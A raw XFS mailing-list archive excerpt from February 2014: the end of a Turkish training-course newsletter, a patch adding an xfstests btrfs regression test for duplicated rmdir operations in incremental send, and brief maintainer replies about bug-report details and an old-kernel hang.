Programlar=C4=B1m=C4=B1zda sizleri aram= =C4=B1zda g=C3=B6rebilmek =C3=BCmidiyle g=C3=BCzel ve ba=C5=9Far=C4=B1= l=C4=B1 g=C3=BCnler ge=C3=A7irmenizi dileriz.

0 216 422 95 95 /= www bogaziciegitim com

Sertifika Programlar=C4=B1<= /P>


Y=C3=B6netici Asistanl=C4=B1=C4=9F=C4=B1 Uluslararas=C4=B1 Sertif= ika Program=C4=B1 (=C4=B0ngilizce)

18-19 =C5=9Eubat 2014

"Haz=C4=B1rlam=C4=B1=C5=9F oldu=C4=9Fumuz Y=C3=B6netici A= sistanl=C4=B1=C4=9F=C4=B1 =C4=B0ngilizce Sertifika Program=C4=B1, kat=C4= =B1l=C4=B1mc=C4=B1lar=C4=B1 Uluslararas=C4=B1 platformlar=C4=B1n y=C3=B6= netici asistanl=C4=B1=C4=9F=C4=B1 konusunda bilgilendirmek ve uzman y=C3= =B6netici asistanl=C4=B1=C4=9F=C4=B1 modelini ger=C3=A7ek hayattan uyg= ulamalarla =C3=B6=C4=9Fretmeyi ama=C3=A7lamaktad=C4=B1r. Program ayn=C4= =B1 zamanda, uyumlu ve etkin bir y=C3=B6netici asistanl=C4=B1=C4=9F=C4= =B1 profili yarat=C4=B1lmas=C4=B1nda dikkate al=C4=B1nmas=C4=B1 gerekl= i t=C3=BCm strateji ve y=C3=B6ntemleri de kat=C4=B1l=C4=B1mc=C4=B1lara= sunmay=C4=B1 hedeflemektedir."

=C4=B0nsan Kaynaklar=C4=B1
Uzmanl=C4=B1k E=C4=9Fitimi


18-22 =C5=9Eubat 2014

"Toplam 7 modulden olu=C5=9F= an program=C4=B1m=C4=B1zda =C3=BClkemizin ihtiya=C3=A7 duydu=C4=9Fu =E2= =80=9CNitelikli =C4=B0nsan Kaynaklar=C4=B1 Uzmanlar=C4=B1=E2=80=9D yet= i=C5=9Ftirmek i=C3=A7in gereken yetkinlik, s=C4=B1cakl=C4=B1k ve bireb= ir anlat=C4=B1m ortam=C4=B1nda ger=C3=A7ekle=C5=9Fti=C4=9Finden olduk=C3= =A7a verimli ge=C3=A7mektedir. E=C4=9Fitmenimiz g=C3=BCncel ve pratik = uygulamalara yer verir role playlerle konular=C4=B1n peki=C5=9Fmesini = sa=C4=9Flamaktad=C4=B1r."
the Asso= ciation of Chartered Certified Accountants / Tescil Edilmi=C5=9F Ruhsa= tl=C4=B1 Muhasebeciler Birli=C4=9Fi
ACCA M= esleki Yeterlik S=C4=B1navlar=C4=B1na Haz=C4=B1rl=C4=B1k Sertifika Pro= gramlar=C4=B1

= Yeminli Mali M=C3=BC=C5=9Favirler Derne=C4=9Fi (ACCA), 170 =C3=BClkede= 115.000 =C3=BCzerinde =C3=BCyesi ile, d=C3=BCnyan=C4=B1n en b=C3=BCy=C3= =BCk ve en h=C4=B1zl=C4=B1 b=C3=BCy=C3=BCyen uluslararas=C4=B1 muhaseb= e kurumudur.

ACCA'n=C4=B1n verdi=C4=9Fi belgeler t=C3=BCm AB =C3= =BClkelerinde ve 170 =C3=BClkede ge=C3=A7erlidir. Bu belgelere sahip o= lmak i=C3=A7in yap=C4=B1lan =C3=A7al=C4=B1=C5=9Fmalar ki=C5=9Finin mes= leki bilgisini art=C4=B1rmas=C4=B1 yan=C4=B1nda Uluslararas=C4=B1 Kari= yer =C4=B0mkan=C4=B1 sa=C4=9Flayan birer Anahtar olmaktad=C4=B1r. =C3=9C= lkemizde de bu belge yabanc=C4=B1 ortakl=C4=B1klar a=C3=A7=C4=B1s=C4=B1= ndan =C3=B6nemlidir.

ACCA ayr=C4=B1ca, uluslararas=C4=B1, b=C3=B6= lgesel ve y=C3=B6resel seviyede bir=C3=A7ok mali m=C3=BC=C5=9Favirlik = kurumuyla =C3=A7al=C4=B1=C5=9Farak, mesle=C4=9Fin geli=C5=9Fmesine de = aktif bi=C3=A7imde katk=C4=B1 sa=C4=9Fl=C4=B1yor. ACCA, d=C3=BCnyan=C4= =B1n kilit mali m=C3=BC=C5=9Favirlik ve finans kurulu=C5=9Flar=C4=B1nd= a, heyetlerinde temsil ediliyor, kamu yarar=C4=B1na g=C3=B6zetilen pol= itikalarda s=C3=B6z sahibi oluyor. Ba=C5=9Fka uluslararas=C4=B1 mali m= =C3=BC=C5=9Favirlik kurulu=C5=9Flar=C4=B1yla k=C4=B1yasland=C4=B1=C4=9F= =C4=B1nda, gittik=C3=A7e daha fazla insan ACCA ile yerel d=C3=BCzlemde= vas=C4=B1f sahibi oluyor. =C3=87in=E2=80=99den Birle=C5=9Fik Krall=C4= =B1=C4=9Fa, Polonya=E2=80=99dan G=C3=BCney Afrika=E2=80=99ya b=C3=BCt=C3= =BCn ACCA =C3=BCyeleri ortak =C3=BCyelik kriterlerini yerine getirmi=C5= =9F durumda.
CERTIFR - CERTIFICATE= IN INTERNATIONAL FINANCIAL REPORTING

S=C3=BCre : 75 Saat Hafta =C4=B0=C3=A7i : 19:00 =E2=80=93 22:30 ; 6 H= afta (Sal=C4=B1, =C3=87ar=C5=9Famba, Per=C5=9Fembe) 18 =C5=9Eubat - 27= Mart Hafta Sonu (Cumartesi ve Pazar) : 10:00 =E2=80=93 16:00; 7 Hafta= , 22 =C5=9Eubat - 6 Nisan
Program Sorumlusu : Lucia Real Martin //= Director, Emerging Markets - Asia at ACCA
<= /TD>
CERTIA - CERTIFICATE = IN INTERNATIONAL
AUDITING

S=C3=BCre := 45 SaatHafta =C4=B0=C3=A7i : 19:00 =E2=80=93 22:30 ; 5 Hafta, (Sal=C4= =B1, =C3=87ar=C5=9Famba, Per=C5=9Fembe) 18 =C5=9Eubat - 20 Mart Hafta = Sonu (Cumartesi ve Pazar) : 10:00 =E2=80=93 16:00; 4 Hafta, 22 =C5=9Eu= bat - 16 Mart
Program Sorumlusu : Lucia Real Martin // Director Em= erging Markets - Asia at ACCA

Seminer Programlar=C4=B1


"Fikir Sat=C4=B1c=C4=B1s=C4=B1" =C4=B0leti=C5=9Fim & H= edef - Strateji Belirleme Semineri
15 =C5= =9Eubat 2014

"Fikir Sat=C4= =B1c=C4=B1s=C4=B1=E2=80=9D Olmadan Hi=C3=A7bir =C5=9Eey Satamazs=C4=B1= n=C4=B1z. =C3=87ok iyi fikirleriniz olmas=C4=B1, fikirlerinizi hayata = ge=C3=A7irebilmenizi sa=C4=9Flamaz. =C3=87ok iyi fikirlerinizi =C3=A7o= k iyi anlatman=C4=B1z ya da pazarlaman=C4=B1z da yeterli de=C4=9Fildir= =2E"

Ba=C5=9Far=C4=B1l=C4=B1 Sat=C4=B1nalman=C4=B1n P=C3=BCf Noktalar=C4= =B1

19 =C5=9Eubat 2= 014

"
Bu e=C4=9Fitimin i=C3=A7eri=C4=9Fi; sat=C4=B1nalma s=C3= =BCre=C3=A7lerinde daha da etkin olunabilmesi i=C3=A7in, pratik ve kul= lan=C4=B1=C5=9Fl=C4=B1 =C3=A7=C3=B6z=C3=BCmlerin ortaya konulmas=C4=B1= ile sat=C4=B1nalma departman=C4=B1 =C3=A7al=C4=B1=C5=9Fanlar=C4=B1n=C4= =B1n kar=C5=9F=C4=B1la=C5=9Ft=C4=B1klar=C4=B1 g=C3=BCncel ve genel sor= unlara sunulacak h=C4=B1zl=C4=B1 =C3=A7=C3=B6z=C3=BCmlerle s=C3=BCre=C3= =A7lerin i=C5=9Flevsel hale getirilmesidir."

Kurumsal Sosyal Medya Stratejileri ve Digital PR
22 =C5=9Eubat 2014

"
Ama=C3=A7 Kurumla= r=C4=B1n ana stratejilerine paralel sosyal medya stratejilerini olu=C5= =9Fturmalar=C4=B1n=C4=B1 sa=C4=9Flamak ve hedef kitleleri ile sosyal m= edya =C3=BCzerinden etkili ileti=C5=9Fim kurmalar=C4=B1na yard=C4=B1mc= =C4=B1 olmakt=C4=B1r."

Finans=C3=A7=C4=B1 Olmayanlar =C4=B0=C3=A7in Finans E=C4=9Fitimi<= BR>
22 =C5=9Eubat 2014

"Ama=C3=A7 her y=C3=B6neticinin bilmesi gereken t= emel finans bilgilerini ve prati=C4=9Fini vermektir"

=C4=B0=C5=9Fe Al=C4=B1m / Se=C3=A7me, Yerle=C5=9Ftirme S=C3= =BCreci ve M=C3=BClakat Teknikleri E=C4=9Fitimi
27-28 =C5=9Eubat 2014
=
"
=C4=B0=C5=9Fe Al=C4=B1m/Se=C3= =A7me Yerle=C5=9Ftirme S=C3=BCreci ve M=C3=BClakat Teknikleri E=C4=9Fi= timinde s=C4=B1f=C4=B1rdan i=C5=9F analizi s=C3=BCre=C3=A7leri ve i=C5= =9F tan=C4=B1mlar=C4=B1 olu=C5=9Fturularak etkili bir m=C3=BClakat tek= ni=C4=9Fi ile do=C4=9Fru ki=C5=9Finin do=C4=9Fru i=C5=9Fe yerle=C5=9Ft= irilmesini sa=C4=9Flayacak y=C3=B6ntemlerin payla=C5=9F=C4=B1lmas=C4=B1= , yetkinlikler ve yetkinlik bazl=C4=B1 m=C3=BClakat tekni=C4=9Finin de= tayl=C4=B1 bir bi=C3=A7imde aktar=C4=B1lmas=C4=B1, m=C3=BClakat ve ada= y se=C3=A7im s=C3=BCrecinin profesyonel bir =C5=9Fekilde y=C3=BCr=C3=BC= tmenin yollar=C4=B1n=C4=B1n uygulamalarla anlat=C4=B1lmas=C4=B1 hedefl= enmektedir."

Akreditif Uygulamalar=C4=B1 ve Teminat Mektuplar=C4=B1
=
26 =C5=9Eubat 2014

"Akreditif uygulamalar=C4=B1=E2=80=9D program=C4=B1nda ka= t=C4=B1l=C4=B1mc=C4=B1lar akreditifin a=C3=A7=C4=B1l=C4=B1=C5=9F=C4=B1= ndan kapan=C4=B1=C5=9F=C4=B1na kadar ge=C3=A7en t=C3=BCm s=C3=BCre=C3=A7= leri kendileri bilfiil uygulayarak =C3=B6=C4=9Freneceklerdir. Bununla = beraber hangi d=C4=B1=C5=9F ticaret i=C5=9Flemlerinde hangi akreditif = t=C3=BCr=C3=BCn=C3=BCn uygulanmas=C4=B1 gerekti=C4=9Fi, sorunlardan ka= =C3=A7=C4=B1nmak i=C3=A7in al=C4=B1nmas=C4=B1 gereken =C3=B6nlemler ve= problemlerin =C3=A7=C3=B6z=C3=BCm=C3=BC konusunda da bilgi sahibi ola= caklard=C4=B1r.


AYIN KONFERANSI<= BR> 

=20

"Kilit M=C3=BC=C5=9Fteri Grubu;S= at=C4=B1=C5=9Fta En Fazla Stratejik =C3=96nem Ta=C5=9F=C4=B1yan Gruptu= r
Bu sebepledir ki;Do=C4=9Fru Kilit M=C3=BC=C5=9Fteri Y=C3=B6netimi= =C4=B0=C5=9Fletmeler =C4=B0=C3=A7in Hayati =C3=96nem Ta=C5=9F=C4=B1ma= ktad=C4=B1r..."

 =

III. K=C4=B0L=C4=B0T M=C3=9C=C5= =9ETER=C4=B0

Y=C3=96NET=C4=B0M=C4=B0 Z=C4=B0= RVES=C4=B0

 =

=

22 =C5=9Eubat 2014
Le Meridie= n Hotel - =C4=B0stanbul

 =

<= /TBODY>

Konu=C5=9Fmac=C4=B1lar:<= FONT style=3D"FONT-SIZE: 9pt" face=3DArial color=3D#202020>
 <= /FONT>=20

- Prof. Dr. Serdar Pirtini // M= armara =C3=9Cniversitesi =C3=96=C4=9Fretim =C3=9Cyesi
- Cenk Varol = // Coca Cola B=C3=B6lge Sat=C4=B1=C5=9F M=C3=BCd=C3=BCr=C3=BC
- Dr.= Michael Dylan Cora // Do=C4=9Fu=C5=9F =C3=9Cniversitesi =C3=96=C4=9Fr= etim G=C3=B6revlisi, American Service Industry International LLC Ulusl= araras=C4=B1 Strateji Direkt=C3=B6r=C3=BC
- O=C4=9Fuzhan S=C3=BCral= // Ac=C4=B1badem Sa=C4=9Fl=C4=B1k Grubu =C4=B0=C5=9F Geli=C5=9Ftirme = Direkt=C3=B6r=C3=BC
- Serta=C3=A7 Oral // BOSCH End=C3=BCstriyel Ka= nal =C3=96zel M=C3=BC=C5=9Fteriler Sat=C4=B1=C5=9F Y=C3=B6neticisi
= - =C5=9Eermin Y=C4=B1lmaz // =C3=87=C4=B1ra=C4=9Fan Palace Kempinski =C4= =B0nsan Geli=C5=9Fimi ve E=C4=9Fitim Direkt=C3=B6r=C3=BC
=20

 

Taraf=C4=B1n=C4=B1za davet bilgisi amac=C4=B1yla g=C3=B6nderilmi=C5=9F= etkinlik b=C3=BCltenimizi gelecekte almak istemiyor ya da farkl=C4=B1= bir kanala y=C3=B6nlendirilmesini istiyorsan=C4=B1z l=C3=BCtfen maill= e bildiriniz.
 

--RAFuewMAJKLM2sInocWp=_2hRaN6ohXX2Z-- From fdmanana@gmail.com Sun Feb 16 15:03:48 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 6EF007F7C for ; Sun, 16 Feb 2014 15:03:48 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 354F5304059 for ; Sun, 16 Feb 2014 13:03:45 -0800 (PST) X-ASG-Debug-ID: 1392584622-04bdf00fc059ac0001-NocioJ Received: from mail-we0-f170.google.com (mail-we0-f170.google.com [74.125.82.170]) by cuda.sgi.com with ESMTP id XZhLXyCOD16UZGMv (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sun, 16 Feb 2014 13:03:43 -0800 (PST) X-Barracuda-Envelope-From: fdmanana@gmail.com X-Barracuda-Apparent-Source-IP: 74.125.82.170 Received: by mail-we0-f170.google.com with SMTP id w62so10177821wes.15 for ; Sun, 16 Feb 2014 13:03:41 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=HwsS3naEroaYlf4X9jlIQyVxNnsbUHuzAZp6A/pOTfk=; b=EIYTAGp86A+IO8YO3no/s4TcAgv4id+QJwhzd4839c85+YLLbfySFkItw8sKNlZnQn 93wsG8cSU3VvMKVis2Npkty0GkcilPZ3R0GFXC6MXzFw9sJ9y1iH9Luo9x1iuTS/1orH FfZ0WlWaABQ4hns4rGgMknW7nkuE20pRUKujxQOmnzwYSa7WMhi7ogkhuNHRSkAJqM0C aNFdBoqBLQ+MGl3cmfvdlMnKRCwHWXDKjiXKE+vhs9P5vLoGqtqTZmrOtv37CrwOxNi/ 2o2mV88dXXVh1PQRbKt0+B5Fnx7Fvfo+juEvEG19H4KJWqeY3MtlImySX1Na1fsXMjW0 MwwA== X-Received: by 10.194.119.230 with SMTP id kx6mr12870532wjb.13.1392584621426; Sun, 16 Feb 2014 13:03:41 -0800 (PST) Received: from storm-desktop.lan (bl9-94-146.dsl.telepac.pt. [85.242.94.146]) by mx.google.com with ESMTPSA id pm2sm26411956wic.0.2014.02.16.13.03.25 for (version=TLSv1.1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sun, 16 Feb 2014 13:03:40 -0800 (PST) From: Filipe David Borba Manana To: xfs@oss.sgi.com Cc: linux-btrfs@vger.kernel.org, Filipe David Borba Manana Subject: [PATCH] xfstests: add test for btrfs send issuing duplicated rmdir ops Date: Sun, 16 Feb 2014 21:02:54 +0000 X-ASG-Orig-Subj: [PATCH] xfstests: add test for btrfs send issuing duplicated rmdir ops Message-Id: <1392584574-10317-1-git-send-email-fdmanana@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-we0-f170.google.com[74.125.82.170] X-Barracuda-Start-Time: 1392584622 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145185 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Regression test for btrfs incremental send issue where an rmdir instruction was sent multiple times for the same target directory. The number of times depended on the number of hardlinks against the same inode inside the target directory. That inode must have had the highest number of all the inodes that were children of the directory. This made the btrfs receive command fail immediately once it received the second rmdir instruction. This issue is fixed by the following linux kernel btrfs patch: Btrfs: send, don't send rmdir for same target multiple times Signed-off-by: Filipe David Borba Manana --- tests/btrfs/042 | 126 +++++++++++++++++++++++++++++++++++++++++++++++++++ tests/btrfs/042.out | 1 + tests/btrfs/group | 1 + 3 files changed, 128 insertions(+) create mode 100755 tests/btrfs/042 create mode 100644 tests/btrfs/042.out diff --git a/tests/btrfs/042 b/tests/btrfs/042 new file mode 100755 index 0000000..ff8e876 --- /dev/null +++ b/tests/btrfs/042 @@ -0,0 +1,126 @@ +#! /bin/bash +# FS QA Test No. btrfs/042 +# +# Regression test for btrfs incremental send issue where an rmdir +# instruction was sent multiple times for the same target directory. +# The number of times depended on the number of hardlinks against +# the same inode inside the target directory. That inode must have +# had the highest number of all the inodes that were children of the +# directory. This made the btrfs receive command fail immediately once +# it received the second rmdir instruction. +# +# This issue is fixed by the following linux kernel btrfs patch: +# +# Btrfs: send, don't send rmdir for same target multiple times +# +#----------------------------------------------------------------------- +# Copyright (c) 2014 Filipe Manana. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=`mktemp -d` +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + rm -fr $tmp +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_supported_fs btrfs +_supported_os Linux +_require_scratch +_need_to_be_root + +FSSUM_PROG=$here/src/fssum +[ -x $FSSUM_PROG ] || _notrun "fssum not built" + +rm -f $seqres.full + +_scratch_mkfs >/dev/null 2>&1 +_scratch_mount + +mkdir -p $SCRATCH_MNT/a/b/c +echo 'hello world' > $SCRATCH_MNT/a/b/c/hel.txt +echo 'ola mundo' > $SCRATCH_MNT/a/b/c/foo.txt +ln $SCRATCH_MNT/a/b/c/foo.txt $SCRATCH_MNT/a/b/c/bar.txt +ln $SCRATCH_MNT/a/b/c/foo.txt $SCRATCH_MNT/a/b/baz.txt + +# Filesystem looks like: +# +# . (ino 256) +# |-- a/ (ino 257) +# |-- b/ (ino 258) +# |-- c/ (ino 259) +# | |-- hel.txt (ino 260) +# | |-- foo.txt (ino 261) +# | |-- bar.txt (ino 261) +# | +# |-- baz.txt (ino 261) + +run_check $BTRFS_UTIL_PROG subvolume snapshot -r $SCRATCH_MNT \ + $SCRATCH_MNT/mysnap1 + +rm -f $SCRATCH_MNT/a/b/c/foo.txt +rm -f $SCRATCH_MNT/a/b/c/bar.txt +rm -f $SCRATCH_MNT/a/b/c/hel.txt +rmdir $SCRATCH_MNT/a/b/c + +# Filesystem now looks like: +# +# . (ino 256) +# |-- a/ (ino 257) +# |-- b/ (ino 258) +# |-- baz.txt (ino 261) + +run_check $BTRFS_UTIL_PROG subvolume snapshot -r $SCRATCH_MNT \ + $SCRATCH_MNT/mysnap2 + +run_check $FSSUM_PROG -A -f -w $tmp/1.fssum $SCRATCH_MNT/mysnap1 +run_check $FSSUM_PROG -A -f -w $tmp/2.fssum -x $SCRATCH_MNT/mysnap2/mysnap1 \ + $SCRATCH_MNT/mysnap2 + +run_check $BTRFS_UTIL_PROG send $SCRATCH_MNT/mysnap1 -f $tmp/1.snap +run_check $BTRFS_UTIL_PROG send -p $SCRATCH_MNT/mysnap1 $SCRATCH_MNT/mysnap2 \ + -f $tmp/2.snap + +_scratch_unmount +_check_btrfs_filesystem $SCRATCH_DEV + +_scratch_mkfs >/dev/null 2>&1 +_scratch_mount + +run_check $BTRFS_UTIL_PROG receive $SCRATCH_MNT -f $tmp/1.snap +run_check $FSSUM_PROG -r $tmp/1.fssum $SCRATCH_MNT/mysnap1 2>> $seqres.full + +run_check $BTRFS_UTIL_PROG receive $SCRATCH_MNT -f $tmp/2.snap +run_check $FSSUM_PROG -r $tmp/2.fssum $SCRATCH_MNT/mysnap2 2>> $seqres.full + +_scratch_unmount +_check_btrfs_filesystem $SCRATCH_DEV + +status=0 +exit diff --git a/tests/btrfs/042.out b/tests/btrfs/042.out new file mode 100644 index 0000000..b403295 --- /dev/null +++ b/tests/btrfs/042.out @@ -0,0 +1 @@ +QA output created by 042 diff --git a/tests/btrfs/group b/tests/btrfs/group index 09e309c..72279d5 100644 --- a/tests/btrfs/group +++ b/tests/btrfs/group @@ -40,3 +40,4 @@ 036 auto quick 040 auto quick 041 auto quick +042 auto quick -- 1.7.9.5 From david@fromorbit.com Sun Feb 16 16:22:13 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id C16C37F81 for ; Sun, 16 Feb 2014 16:22:13 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 6416BAC02C for ; Sun, 16 Feb 2014 14:22:10 -0800 (PST) X-ASG-Debug-ID: 1392589321-04bdf00fc95c9e0001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id P5GYvOehzOHnab21 for ; Sun, 16 Feb 2014 14:22:01 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlshALE4AVN5LJYe/2dsb2JhbAA/GoMGOIMHpV4DkVeFSwMCgQ8XdIIlAQEFOhwjEAgDDgoJJQ8FJQMhE4gEDjbKCBaOaweEOASYK4pQh1SDQSg Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail07.adl2.internode.on.net with ESMTP; 17 Feb 2014 08:52:00 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WFA5x-0003nJ-JL; Mon, 17 Feb 2014 09:21:53 +1100 Date: Mon, 17 Feb 2014 09:21:53 +1100 From: Dave Chinner To: Bill Webster Cc: xfs@oss.sgi.com Subject: Re: Volume fine on x86_64, corruption on ARM Message-ID: <20140216222153.GV13647@dastard> X-ASG-Orig-Subj: Re: Volume fine on x86_64, corruption on ARM References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1392589321 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA085, BSF_SC0_SA717 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145187 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 BSF_SC0_SA085 Custom Rule SA085 0.00 BSF_SC0_SA717 Custom Rule BSF_SC0_SA717 On Fri, Feb 14, 2014 at 08:18:45PM -0700, Bill Webster wrote: > Has this issue been resolved? You need to be more specific abou tthe problem you are having than the subject line.... http://xfs.org/index.php/XFS_FAQ#Q:_What_information_should_I_include_when_reporting_a_problem.3F Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Sun Feb 16 16:28:22 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 888CB7F82 for ; Sun, 16 Feb 2014 16:28:22 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 562D1304053 for ; Sun, 16 Feb 2014 14:28:22 -0800 (PST) X-ASG-Debug-ID: 1392589699-04cbb00c2848e6c0001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id 4vA8jflR8hmV491U for ; Sun, 16 Feb 2014 14:28:20 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AoMJADE7AVN5LJYe/2dsb2JhbABZgwaDP7c4hVCBDxd0giUBAQU6HCMQCAMOCgklDwUlAyETiATKNhcWjmsHhDgEmCuKUIdUg0Eo Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail07.adl2.internode.on.net with ESMTP; 17 Feb 2014 08:58:19 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WFAC3-0003nu-3k; Mon, 17 Feb 2014 09:28:11 +1100 Date: Mon, 17 Feb 2014 09:28:11 +1100 From: Dave Chinner To: Laurence Oberman Cc: xfs@oss.sgi.com, Leonardo Menezes Vaz Subject: Re: Tasks blocked in xlog_grant_log_space Message-ID: <20140216222811.GW13647@dastard> X-ASG-Orig-Subj: Re: Tasks blocked in xlog_grant_log_space References: <532438291.2495843.1392394364516.JavaMail.zimbra@redhat.com> <461400101.2501294.1392394773671.JavaMail.zimbra@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <461400101.2501294.1392394773671.JavaMail.zimbra@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1392589699 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145187 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Feb 14, 2014 at 11:19:33AM -0500, Laurence Oberman wrote: > Hello > > I have a customer seeing multiple tasks blocked in xlog_grant_log_space > This lands up hitting the hungtask timer for pdflush. > > I have seen on the list that this issue is still out there. > I also don't see outstanding I/O requests on the XFS file system that experienced this block. > > The last hung_task timeout was on dm-9 > ffff81011c78c080 ffff81081a43bc00 xfs /dev/vgautocomp/lv_autocomp /bb/autocomp > > crash> gendisk ffff810814d24400 | grep in_flight > in_flight = 0, > > So just wondering if I am hitting an existing bug or if its a new one. > > This is an older 2.6.18 kernel There's been lots of problems fixed in this area in the past seven years. Your best bet is to upgrade to a more recent 3.x based kernel where the known issues in this area have been resolved. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Sun Feb 16 17:09:05 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id B6F617F53 for ; Sun, 16 Feb 2014 17:09:05 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 7B1958F8035 for ; Sun, 16 Feb 2014 15:09:02 -0800 (PST) X-ASG-Debug-ID: 1392592140-04bdf00fc95e970001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id AZ131OBZeEFx7t3i for ; Sun, 16 Feb 2014 15:09:00 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: 